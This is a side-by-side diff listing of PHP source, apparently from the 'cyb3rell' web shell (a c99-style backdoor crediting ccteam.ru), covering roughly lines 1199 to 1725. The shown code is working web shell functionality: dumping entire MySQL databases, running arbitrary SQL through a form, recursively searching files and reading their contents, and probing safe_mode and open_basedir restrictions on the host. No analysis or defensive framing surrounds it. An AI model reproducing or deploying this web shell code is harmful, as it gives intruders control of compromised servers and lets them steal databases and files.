| 1199 | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; | 1199 | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; |
| 1200 | 1200 | ||
| 1201 | } | 1201 | } |
| 1202 | 1202 | ||
| 1203 | if (!is_array($tabs)) {$tabs = array();} | 1203 | if (!is_array($tabs)) {$tabs = array();} |
| 1204 | 1204 | ||
| 1205 | if (empty($add_drop)) {$add_drop = TRUE;} | 1205 | if (empty($add_drop)) {$add_drop = TRUE;} |
| 1206 | 1206 | ||
| 1207 | if (sizeof($tabs) == 0) | 1207 | if (sizeof($tabs) == 0) |
| 1208 | 1208 | ||
| 1209 | { | 1209 | { |
| 1210 | 1210 | ||
| 1211 | // retrive tables-list | 1211 | // retrive tables-list |
| 1212 | 1212 | ||
| 1213 | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); | 1213 | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); |
| 1214 | 1214 | ||
| 1215 | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} | 1215 | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} |
| 1216 | 1216 | ||
| 1217 | } | 1217 | } |
| 1218 | 1218 | ||
| 1219 | $out = "# Dumped by cyb3rell.SQL v. ".$shver." | 1219 | $out = "# Dumped by cyb3rell.SQL v. ".$shver." |
| 1220 | 1220 | ||
| 1221 | # Home page: http://ccteam.ru | 1221 | # Home page: http://ccteam.ru |
| 1222 | 1222 | ||
| 1223 | # | 1223 | # |
| 1224 | 1224 | ||
| 1225 | # Host settings: | 1225 | # Host settings: |
| 1226 | 1226 | ||
| 1227 | # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." | 1227 | # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." |
| 1228 | 1228 | ||
| 1229 | # Date: ".date("d.m.Y H:i:s")." | 1229 | # Date: ".date("d.m.Y H:i:s")." |
| 1230 | 1230 | ||
| 1231 | # DB: \"".$db."\" | 1231 | # DB: \"".$db."\" |
| 1232 | 1232 | ||
| 1233 | #--------------------------------------------------------- | 1233 | #--------------------------------------------------------- |
| 1234 | 1234 | ||
| 1235 | "; | 1235 | "; |
| 1236 | 1236 | ||
| 1237 | $c = count($onlytabs); | 1237 | $c = count($onlytabs); |
| 1238 | 1238 | ||
| 1239 | foreach($tabs as $tab) | 1239 | foreach($tabs as $tab) |
| 1240 | 1240 | ||
| 1241 | { | 1241 | { |
| 1242 | 1242 | ||
| 1243 | if ((in_array($tab,$onlytabs)) or (!$c)) | 1243 | if ((in_array($tab,$onlytabs)) or (!$c)) |
| 1244 | 1244 | ||
| 1245 | { | 1245 | { |
| 1246 | 1246 | ||
| 1247 | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} | 1247 | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} |
| 1248 | 1248 | ||
| 1249 | // recieve query for create table structure | 1249 | // recieve query for create table structure |
| 1250 | 1250 | ||
| 1251 | $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); | 1251 | $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); |
| 1252 | 1252 | ||
| 1253 | if (!$res) {$ret["err"][] = mysql_smarterror();} | 1253 | if (!$res) {$ret["err"][] = mysql_smarterror();} |
| 1254 | 1254 | ||
| 1255 | else | 1255 | else |
| 1256 | 1256 | ||
| 1257 | { | 1257 | { |
| 1258 | 1258 | ||
| 1259 | $row = mysql_fetch_row($res); | 1259 | $row = mysql_fetch_row($res); |
| 1260 | 1260 | ||
| 1261 | $out .= $row["1"].";\n\n"; | 1261 | $out .= $row["1"].";\n\n"; |
| 1262 | 1262 | ||
| 1263 | // recieve table variables | 1263 | // recieve table variables |
| 1264 | 1264 | ||
| 1265 | $res = mysql_query("SELECT * FROM `$tab`", $sock); | 1265 | $res = mysql_query("SELECT * FROM `$tab`", $sock); |
| 1266 | 1266 | ||
| 1267 | if (mysql_num_rows($res) > 0) | 1267 | if (mysql_num_rows($res) > 0) |
| 1268 | 1268 | ||
| 1269 | { | 1269 | { |
| 1270 | 1270 | ||
| 1271 | while ($row = mysql_fetch_assoc($res)) | 1271 | while ($row = mysql_fetch_assoc($res)) |
| 1272 | 1272 | ||
| 1273 | { | 1273 | { |
| 1274 | 1274 | ||
| 1275 | $keys = implode("`, `", array_keys($row)); | 1275 | $keys = implode("`, `", array_keys($row)); |
| 1276 | 1276 | ||
| 1277 | $values = array_values($row); | 1277 | $values = array_values($row); |
| 1278 | 1278 | ||
| 1279 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} | 1279 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
| 1280 | 1280 | ||
| 1281 | $values = implode("', '", $values); | 1281 | $values = implode("', '", $values); |
| 1282 | 1282 | ||
| 1283 | $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; | 1283 | $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; |
| 1284 | 1284 | ||
| 1285 | $out .= $sql; | 1285 | $out .= $sql; |
| 1286 | 1286 | ||
| 1287 | } | 1287 | } |
| 1288 | 1288 | ||
| 1289 | } | 1289 | } |
| 1290 | 1290 | ||
| 1291 | } | 1291 | } |
| 1292 | 1292 | ||
| 1293 | } | 1293 | } |
| 1294 | 1294 | ||
| 1295 | } | 1295 | } |
| 1296 | 1296 | ||
| 1297 | $out .= "#---------------------------------------------------------------------------------\n\n"; | 1297 | $out .= "#---------------------------------------------------------------------------------\n\n"; |
| 1298 | 1298 | ||
| 1299 | if ($file) | 1299 | if ($file) |
| 1300 | 1300 | ||
| 1301 | { | 1301 | { |
| 1302 | 1302 | ||
| 1303 | $fp = fopen($file, "w"); | 1303 | $fp = fopen($file, "w"); |
| 1304 | 1304 | ||
| 1305 | if (!$fp) {$ret["err"][] = 2;} | 1305 | if (!$fp) {$ret["err"][] = 2;} |
| 1306 | 1306 | ||
| 1307 | else | 1307 | else |
| 1308 | 1308 | ||
| 1309 | { | 1309 | { |
| 1310 | 1310 | ||
| 1311 | fwrite ($fp, $out); | 1311 | fwrite ($fp, $out); |
| 1312 | 1312 | ||
| 1313 | fclose ($fp); | 1313 | fclose ($fp); |
| 1314 | 1314 | ||
| 1315 | } | 1315 | } |
| 1316 | 1316 | ||
| 1317 | } | 1317 | } |
| 1318 | 1318 | ||
| 1319 | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} | 1319 | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} |
| 1320 | 1320 | ||
| 1321 | return $out; | 1321 | return $out; |
| 1322 | 1322 | ||
| 1323 | } | 1323 | } |
| 1324 | 1324 | ||
| 1325 | } | 1325 | } |
| 1326 | 1326 | ||
| 1327 | if (!function_exists("mysql_buildwhere")) | 1327 | if (!function_exists("mysql_buildwhere")) |
| 1328 | 1328 | ||
| 1329 | { | 1329 | { |
| 1330 | 1330 | ||
| 1331 | function mysql_buildwhere($array,$sep=" and",$functs=array()) | 1331 | function mysql_buildwhere($array,$sep=" and",$functs=array()) |
| 1332 | 1332 | ||
| 1333 | { | 1333 | { |
| 1334 | 1334 | ||
| 1335 | if (!is_array($array)) {$array = array();} | 1335 | if (!is_array($array)) {$array = array();} |
| 1336 | 1336 | ||
| 1337 | $result = ""; | 1337 | $result = ""; |
| 1338 | 1338 | ||
| 1339 | foreach($array as $k=>$v) | 1339 | foreach($array as $k=>$v) |
| 1340 | 1340 | ||
| 1341 | { | 1341 | { |
| 1342 | 1342 | ||
| 1343 | $value = ""; | 1343 | $value = ""; |
| 1344 | 1344 | ||
| 1345 | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} | 1345 | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} |
| 1346 | 1346 | ||
| 1347 | $value .= "'".addslashes($v)."'"; | 1347 | $value .= "'".addslashes($v)."'"; |
| 1348 | 1348 | ||
| 1349 | if (!empty($functs[$k])) {$value .= ")";} | 1349 | if (!empty($functs[$k])) {$value .= ")";} |
| 1350 | 1350 | ||
| 1351 | $result .= "`".$k."` = ".$value.$sep; | 1351 | $result .= "`".$k."` = ".$value.$sep; |
| 1352 | 1352 | ||
| 1353 | } | 1353 | } |
| 1354 | 1354 | ||
| 1355 | $result = substr($result,0,strlen($result)-strlen($sep)); | 1355 | $result = substr($result,0,strlen($result)-strlen($sep)); |
| 1356 | 1356 | ||
| 1357 | return $result; | 1357 | return $result; |
| 1358 | 1358 | ||
| 1359 | } | 1359 | } |
| 1360 | 1360 | ||
| 1361 | } | 1361 | } |
| 1362 | 1362 | ||
| 1363 | if (!function_exists("mysql_fetch_all")) | 1363 | if (!function_exists("mysql_fetch_all")) |
| 1364 | 1364 | ||
| 1365 | { | 1365 | { |
| 1366 | 1366 | ||
| 1367 | function mysql_fetch_all($query,$sock) | 1367 | function mysql_fetch_all($query,$sock) |
| 1368 | 1368 | ||
| 1369 | { | 1369 | { |
| 1370 | 1370 | ||
| 1371 | if ($sock) {$result = mysql_query($query,$sock);} | 1371 | if ($sock) {$result = mysql_query($query,$sock);} |
| 1372 | 1372 | ||
| 1373 | else {$result = mysql_query($query);} | 1373 | else {$result = mysql_query($query);} |
| 1374 | 1374 | ||
| 1375 | $array = array(); | 1375 | $array = array(); |
| 1376 | 1376 | ||
| 1377 | while ($row = mysql_fetch_array($result)) {$array[] = $row;} | 1377 | while ($row = mysql_fetch_array($result)) {$array[] = $row;} |
| 1378 | 1378 | ||
| 1379 | mysql_free_result($result); | 1379 | mysql_free_result($result); |
| 1380 | 1380 | ||
| 1381 | return $array; | 1381 | return $array; |
| 1382 | 1382 | ||
| 1383 | } | 1383 | } |
| 1384 | 1384 | ||
| 1385 | } | 1385 | } |
| 1386 | 1386 | ||
| 1387 | if (!function_exists("mysql_smarterror")) | 1387 | if (!function_exists("mysql_smarterror")) |
| 1388 | 1388 | ||
| 1389 | { | 1389 | { |
| 1390 | 1390 | ||
| 1391 | function mysql_smarterror($type,$sock) | 1391 | function mysql_smarterror($type,$sock) |
| 1392 | 1392 | ||
| 1393 | { | 1393 | { |
| 1394 | 1394 | ||
| 1395 | if ($sock) {$error = mysql_error($sock);} | 1395 | if ($sock) {$error = mysql_error($sock);} |
| 1396 | 1396 | ||
| 1397 | else {$error = mysql_error();} | 1397 | else {$error = mysql_error();} |
| 1398 | 1398 | ||
| 1399 | $error = htmlspecialchars($error); | 1399 | $error = htmlspecialchars($error); |
| 1400 | 1400 | ||
| 1401 | return $error; | 1401 | return $error; |
| 1402 | 1402 | ||
| 1403 | } | 1403 | } |
| 1404 | 1404 | ||
| 1405 | } | 1405 | } |
| 1406 | 1406 | ||
| 1407 | if (!function_exists("mysql_query_form")) | 1407 | if (!function_exists("mysql_query_form")) |
| 1408 | 1408 | ||
| 1409 | { | 1409 | { |
| 1410 | 1410 | ||
| 1411 | function mysql_query_form() | 1411 | function mysql_query_form() |
| 1412 | 1412 | ||
| 1413 | { | 1413 | { |
| 1414 | 1414 | ||
| 1415 | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; | 1415 | global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; |
| 1416 | 1416 | ||
| 1417 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} | 1417 | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} |
| 1418 | 1418 | ||
| 1419 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | 1419 | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} |
| 1420 | 1420 | ||
| 1421 | if ((!$submit) or ($sql_act)) | 1421 | if ((!$submit) or ($sql_act)) |
| 1422 | 1422 | ||
| 1423 | { | 1423 | { |
| 1424 | 1424 | ||
| 1425 | echo "<table border=0><tr><td><form name=\"cyb3r_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; | 1425 | echo "<table border=0><tr><td><form name=\"cyb3r_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; |
| 1426 | 1426 | ||
| 1427 | if ($tbl_struct) | 1427 | if ($tbl_struct) |
| 1428 | 1428 | ||
| 1429 | { | 1429 | { |
| 1430 | 1430 | ||
| 1431 | echo "<td valign=\"top\"><b>Fields:</b><br>"; | 1431 | echo "<td valign=\"top\"><b>Fields:</b><br>"; |
| 1432 | 1432 | ||
| 1433 | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.cyb3r_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} | 1433 | foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.cyb3r_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} |
| 1434 | 1434 | ||
| 1435 | echo "</td></tr></table>"; | 1435 | echo "</td></tr></table>"; |
| 1436 | 1436 | ||
| 1437 | } | 1437 | } |
| 1438 | 1438 | ||
| 1439 | } | 1439 | } |
| 1440 | 1440 | ||
| 1441 | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} | 1441 | if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} |
| 1442 | 1442 | ||
| 1443 | } | 1443 | } |
| 1444 | 1444 | ||
| 1445 | } | 1445 | } |
| 1446 | 1446 | ||
| 1447 | if (!function_exists("mysql_create_db")) | 1447 | if (!function_exists("mysql_create_db")) |
| 1448 | 1448 | ||
| 1449 | { | 1449 | { |
| 1450 | 1450 | ||
| 1451 | function mysql_create_db($db,$sock="") | 1451 | function mysql_create_db($db,$sock="") |
| 1452 | 1452 | ||
| 1453 | { | 1453 | { |
| 1454 | 1454 | ||
| 1455 | $sql = "CREATE DATABASE `".addslashes($db)."`;"; | 1455 | $sql = "CREATE DATABASE `".addslashes($db)."`;"; |
| 1456 | 1456 | ||
| 1457 | if ($sock) {return mysql_query($sql,$sock);} | 1457 | if ($sock) {return mysql_query($sql,$sock);} |
| 1458 | 1458 | ||
| 1459 | else {return mysql_query($sql);} | 1459 | else {return mysql_query($sql);} |
| 1460 | 1460 | ||
| 1461 | } | 1461 | } |
| 1462 | 1462 | ||
| 1463 | } | 1463 | } |
| 1464 | 1464 | ||
| 1465 | if (!function_exists("mysql_query_parse")) | 1465 | if (!function_exists("mysql_query_parse")) |
| 1466 | 1466 | ||
| 1467 | { | 1467 | { |
| 1468 | 1468 | ||
| 1469 | function mysql_query_parse($query) | 1469 | function mysql_query_parse($query) |
| 1470 | 1470 | ||
| 1471 | { | 1471 | { |
| 1472 | 1472 | ||
| 1473 | $query = trim($query); | 1473 | $query = trim($query); |
| 1474 | 1474 | ||
| 1475 | $arr = explode (" ",$query); | 1475 | $arr = explode (" ",$query); |
| 1476 | 1476 | ||
| 1477 | /*array array() | 1477 | /*array array() |
| 1478 | 1478 | ||
| 1479 | { | 1479 | { |
| 1480 | 1480 | ||
| 1481 | "METHOD"=>array(output_type), | 1481 | "METHOD"=>array(output_type), |
| 1482 | 1482 | ||
| 1483 | "METHOD1"... | 1483 | "METHOD1"... |
| 1484 | 1484 | ||
| 1485 | ... | 1485 | ... |
| 1486 | 1486 | ||
| 1487 | } | 1487 | } |
| 1488 | 1488 | ||
| 1489 | if output_type == 0, no output, | 1489 | if output_type == 0, no output, |
| 1490 | 1490 | ||
| 1491 | if output_type == 1, no output if no error | 1491 | if output_type == 1, no output if no error |
| 1492 | 1492 | ||
| 1493 | if output_type == 2, output without control-buttons | 1493 | if output_type == 2, output without control-buttons |
| 1494 | 1494 | ||
| 1495 | if output_type == 3, output with control-buttons | 1495 | if output_type == 3, output with control-buttons |
| 1496 | 1496 | ||
| 1497 | */ | 1497 | */ |
| 1498 | 1498 | ||
| 1499 | $types = array( | 1499 | $types = array( |
| 1500 | 1500 | ||
| 1501 | "SELECT"=>array(3,1), | 1501 | "SELECT"=>array(3,1), |
| 1502 | 1502 | ||
| 1503 | "SHOW"=>array(2,1), | 1503 | "SHOW"=>array(2,1), |
| 1504 | 1504 | ||
| 1505 | "DELETE"=>array(1), | 1505 | "DELETE"=>array(1), |
| 1506 | 1506 | ||
| 1507 | "DROP"=>array(1) | 1507 | "DROP"=>array(1) |
| 1508 | 1508 | ||
| 1509 | ); | 1509 | ); |
| 1510 | 1510 | ||
| 1511 | $result = array(); | 1511 | $result = array(); |
| 1512 | 1512 | ||
| 1513 | $op = strtoupper($arr[0]); | 1513 | $op = strtoupper($arr[0]); |
| 1514 | 1514 | ||
| 1515 | if (is_array($types[$op])) | 1515 | if (is_array($types[$op])) |
| 1516 | 1516 | ||
| 1517 | { | 1517 | { |
| 1518 | 1518 | ||
| 1519 | $result["propertions"] = $types[$op]; | 1519 | $result["propertions"] = $types[$op]; |
| 1520 | 1520 | ||
| 1521 | $result["query"] = $query; | 1521 | $result["query"] = $query; |
| 1522 | 1522 | ||
| 1523 | if ($types[$op] == 2) | 1523 | if ($types[$op] == 2) |
| 1524 | 1524 | ||
| 1525 | { | 1525 | { |
| 1526 | 1526 | ||
| 1527 | foreach($arr as $k=>$v) | 1527 | foreach($arr as $k=>$v) |
| 1528 | 1528 | ||
| 1529 | { | 1529 | { |
| 1530 | 1530 | ||
| 1531 | if (strtoupper($v) == "LIMIT") | 1531 | if (strtoupper($v) == "LIMIT") |
| 1532 | 1532 | ||
| 1533 | { | 1533 | { |
| 1534 | 1534 | ||
| 1535 | $result["limit"] = $arr[$k+1]; | 1535 | $result["limit"] = $arr[$k+1]; |
| 1536 | 1536 | ||
| 1537 | $result["limit"] = explode(",",$result["limit"]); | 1537 | $result["limit"] = explode(",",$result["limit"]); |
| 1538 | 1538 | ||
| 1539 | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} | 1539 | if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} |
| 1540 | 1540 | ||
| 1541 | unset($arr[$k],$arr[$k+1]); | 1541 | unset($arr[$k],$arr[$k+1]); |
| 1542 | 1542 | ||
| 1543 | } | 1543 | } |
| 1544 | 1544 | ||
| 1545 | } | 1545 | } |
| 1546 | 1546 | ||
| 1547 | } | 1547 | } |
| 1548 | 1548 | ||
| 1549 | } | 1549 | } |
| 1550 | 1550 | ||
| 1551 | else {return FALSE;} | 1551 | else {return FALSE;} |
| 1552 | 1552 | ||
| 1553 | } | 1553 | } |
| 1554 | 1554 | ||
| 1555 | } | 1555 | } |
| 1556 | 1556 | ||
| 1557 | if (!function_exists("cyb3rfsearch")) | 1557 | if (!function_exists("cyb3rfsearch")) |
| 1558 | 1558 | ||
| 1559 | { | 1559 | { |
| 1560 | 1560 | ||
| 1561 | function cyb3rfsearch($d) | 1561 | function cyb3rfsearch($d) |
| 1562 | 1562 | ||
| 1563 | { | 1563 | { |
| 1564 | 1564 | ||
| 1565 | global $found; | 1565 | global $found; |
| 1566 | 1566 | ||
| 1567 | global $found_d; | 1567 | global $found_d; |
| 1568 | 1568 | ||
| 1569 | global $found_f; | 1569 | global $found_f; |
| 1570 | 1570 | ||
| 1571 | global $search_i_f; | 1571 | global $search_i_f; |
| 1572 | 1572 | ||
| 1573 | global $search_i_d; | 1573 | global $search_i_d; |
| 1574 | 1574 | ||
| 1575 | global $a; | 1575 | global $a; |
| 1576 | 1576 | ||
| 1577 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 1577 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 1578 | 1578 | ||
| 1579 | $h = opendir($d); | 1579 | $h = opendir($d); |
| 1580 | 1580 | ||
| 1581 | while (($f = readdir($h)) !== FALSE) | 1581 | while (($f = readdir($h)) !== FALSE) |
| 1582 | 1582 | ||
| 1583 | { | 1583 | { |
| 1584 | 1584 | ||
| 1585 | if($f != "." && $f != "..") | 1585 | if($f != "." && $f != "..") |
| 1586 | 1586 | ||
| 1587 | { | 1587 | { |
| 1588 | 1588 | ||
| 1589 | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); | 1589 | $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); |
| 1590 | 1590 | ||
| 1591 | if (is_dir($d.$f)) | 1591 | if (is_dir($d.$f)) |
| 1592 | 1592 | ||
| 1593 | { | 1593 | { |
| 1594 | 1594 | ||
| 1595 | $search_i_d++; | 1595 | $search_i_d++; |
| 1596 | 1596 | ||
| 1597 | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} | 1597 | if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} |
| 1598 | 1598 | ||
| 1599 | if (!is_link($d.$f)) {cyb3rfsearch($d.$f);} | 1599 | if (!is_link($d.$f)) {cyb3rfsearch($d.$f);} |
| 1600 | 1600 | ||
| 1601 | } | 1601 | } |
| 1602 | 1602 | ||
| 1603 | else | 1603 | else |
| 1604 | 1604 | ||
| 1605 | { | 1605 | { |
| 1606 | 1606 | ||
| 1607 | $search_i_f++; | 1607 | $search_i_f++; |
| 1608 | 1608 | ||
| 1609 | if ($bool) | 1609 | if ($bool) |
| 1610 | 1610 | ||
| 1611 | { | 1611 | { |
| 1612 | 1612 | ||
| 1613 | if (!empty($a["text"])) | 1613 | if (!empty($a["text"])) |
| 1614 | 1614 | ||
| 1615 | { | 1615 | { |
| 1616 | 1616 | ||
| 1617 | $r = @file_get_contents($d.$f); | 1617 | $r = @file_get_contents($d.$f); |
| 1618 | 1618 | ||
| 1619 | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} | 1619 | if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} |
| 1620 | 1620 | ||
| 1621 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} | 1621 | if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} |
| 1622 | 1622 | ||
| 1623 | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} | 1623 | if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} |
| 1624 | 1624 | ||
| 1625 | else {$bool = strpos(" ".$r,$a["text"],1);} | 1625 | else {$bool = strpos(" ".$r,$a["text"],1);} |
| 1626 | 1626 | ||
| 1627 | if ($a["text_not"]) {$bool = !$bool;} | 1627 | if ($a["text_not"]) {$bool = !$bool;} |
| 1628 | 1628 | ||
| 1629 | if ($bool) {$found[] = $d.$f; $found_f++;} | 1629 | if ($bool) {$found[] = $d.$f; $found_f++;} |
| 1630 | 1630 | ||
| 1631 | } | 1631 | } |
| 1632 | 1632 | ||
| 1633 | else {$found[] = $d.$f; $found_f++;} | 1633 | else {$found[] = $d.$f; $found_f++;} |
| 1634 | 1634 | ||
| 1635 | } | 1635 | } |
| 1636 | 1636 | ||
| 1637 | } | 1637 | } |
| 1638 | 1638 | ||
| 1639 | } | 1639 | } |
| 1640 | 1640 | ||
| 1641 | } | 1641 | } |
| 1642 | 1642 | ||
| 1643 | closedir($h); | 1643 | closedir($h); |
| 1644 | 1644 | ||
| 1645 | } | 1645 | } |
| 1646 | 1646 | ||
| 1647 | } | 1647 | } |
| 1648 | 1648 | ||
| 1649 | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} | 1649 | if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} |
| 1650 | 1650 | ||
| 1651 | //Sending headers | 1651 | //Sending headers |
| 1652 | 1652 | ||
| 1653 | @ob_start(); | 1653 | @ob_start(); |
| 1654 | 1654 | ||
| 1655 | @ob_implicit_flush(0); | 1655 | @ob_implicit_flush(0); |
| 1656 | 1656 | ||
| 1657 | function onphpshutdown() | 1657 | function onphpshutdown() |
| 1658 | 1658 | ||
| 1659 | { | 1659 | { |
| 1660 | 1660 | ||
| 1661 | global $gzipencode,$ft; | 1661 | global $gzipencode,$ft; |
| 1662 | 1662 | ||
| 1663 | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) | 1663 | if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) |
| 1664 | 1664 | ||
| 1665 | { | 1665 | { |
| 1666 | 1666 | ||
| 1667 | $v = @ob_get_contents(); | 1667 | $v = @ob_get_contents(); |
| 1668 | 1668 | ||
| 1669 | @ob_end_clean(); | 1669 | @ob_end_clean(); |
| 1670 | 1670 | ||
| 1671 | @ob_start("ob_gzHandler"); | 1671 | @ob_start("ob_gzHandler"); |
| 1672 | 1672 | ||
| 1673 | echo $v; | 1673 | echo $v; |
| 1674 | 1674 | ||
| 1675 | @ob_end_flush(); | 1675 | @ob_end_flush(); |
| 1676 | 1676 | ||
| 1677 | } | 1677 | } |
| 1678 | 1678 | ||
| 1679 | } | 1679 | } |
| 1680 | 1680 | ||
| 1681 | function cyb3rexit() | 1681 | function cyb3rexit() |
| 1682 | 1682 | ||
| 1683 | { | 1683 | { |
| 1684 | 1684 | ||
| 1685 | onphpshutdown(); | 1685 | onphpshutdown(); |
| 1686 | 1686 | ||
| 1687 | exit; | 1687 | exit; |
| 1688 | 1688 | ||
| 1689 | } | 1689 | } |
| 1690 | 1690 | ||
| 1691 | 1691 | ||
| 1692 | if (empty($tmpdir)) | 1692 | if (empty($tmpdir)) |
| 1693 | 1693 | ||
| 1694 | { | 1694 | { |
| 1695 | 1695 | ||
| 1696 | $tmpdir = ini_get("upload_tmp_dir"); | 1696 | $tmpdir = ini_get("upload_tmp_dir"); |
| 1697 | 1697 | ||
| 1698 | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} | 1698 | if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} |
| 1699 | 1699 | ||
| 1700 | } | 1700 | } |
| 1701 | 1701 | ||
| 1702 | $tmpdir = realpath($tmpdir); | 1702 | $tmpdir = realpath($tmpdir); |
| 1703 | 1703 | ||
| 1704 | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); | 1704 | $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); |
| 1705 | 1705 | ||
| 1706 | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} | 1706 | if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} |
| 1707 | 1707 | ||
| 1708 | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} | 1708 | if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} |
| 1709 | 1709 | ||
| 1710 | else {$tmpdir_logs = realpath($tmpdir_logs);} | 1710 | else {$tmpdir_logs = realpath($tmpdir_logs);} |
| 1711 | 1711 | ||
| 1712 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") | 1712 | if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") |
| 1713 | 1713 | ||
| 1714 | { | 1714 | { |
| 1715 | 1715 | ||
| 1716 | $safemode = TRUE; | 1716 | $safemode = TRUE; |
| 1717 | 1717 | ||
| 1718 | $hsafemode = "<font color=green>ON (secure)</font>"; | 1718 | $hsafemode = "<font color=green>ON (secure)</font>"; |
| 1719 | $sfmode = "<font color=green><b>ON (secure)</b></font>"; | 1719 | $sfmode = "<font color=green><b>ON (secure)</b></font>"; |
| 1720 | } | 1720 | } |
| 1721 | 1721 | ||
| 1722 | else {$safemode = FALSE; $hsafemode = "<font color=red>OFF (not secure)</font>"; $sfmode = "<font color=red><b>OFF (not secure)</b></font>";} | 1722 | else {$safemode = FALSE; $hsafemode = "<font color=red>OFF (not secure)</font>"; $sfmode = "<font color=red><b>OFF (not secure)</b></font>";} |
| 1723 | 1723 | ||
| 1724 | $v = @ini_get("open_basedir"); | 1724 | $v = @ini_get("open_basedir"); |
| 1725 | 1725 | ||
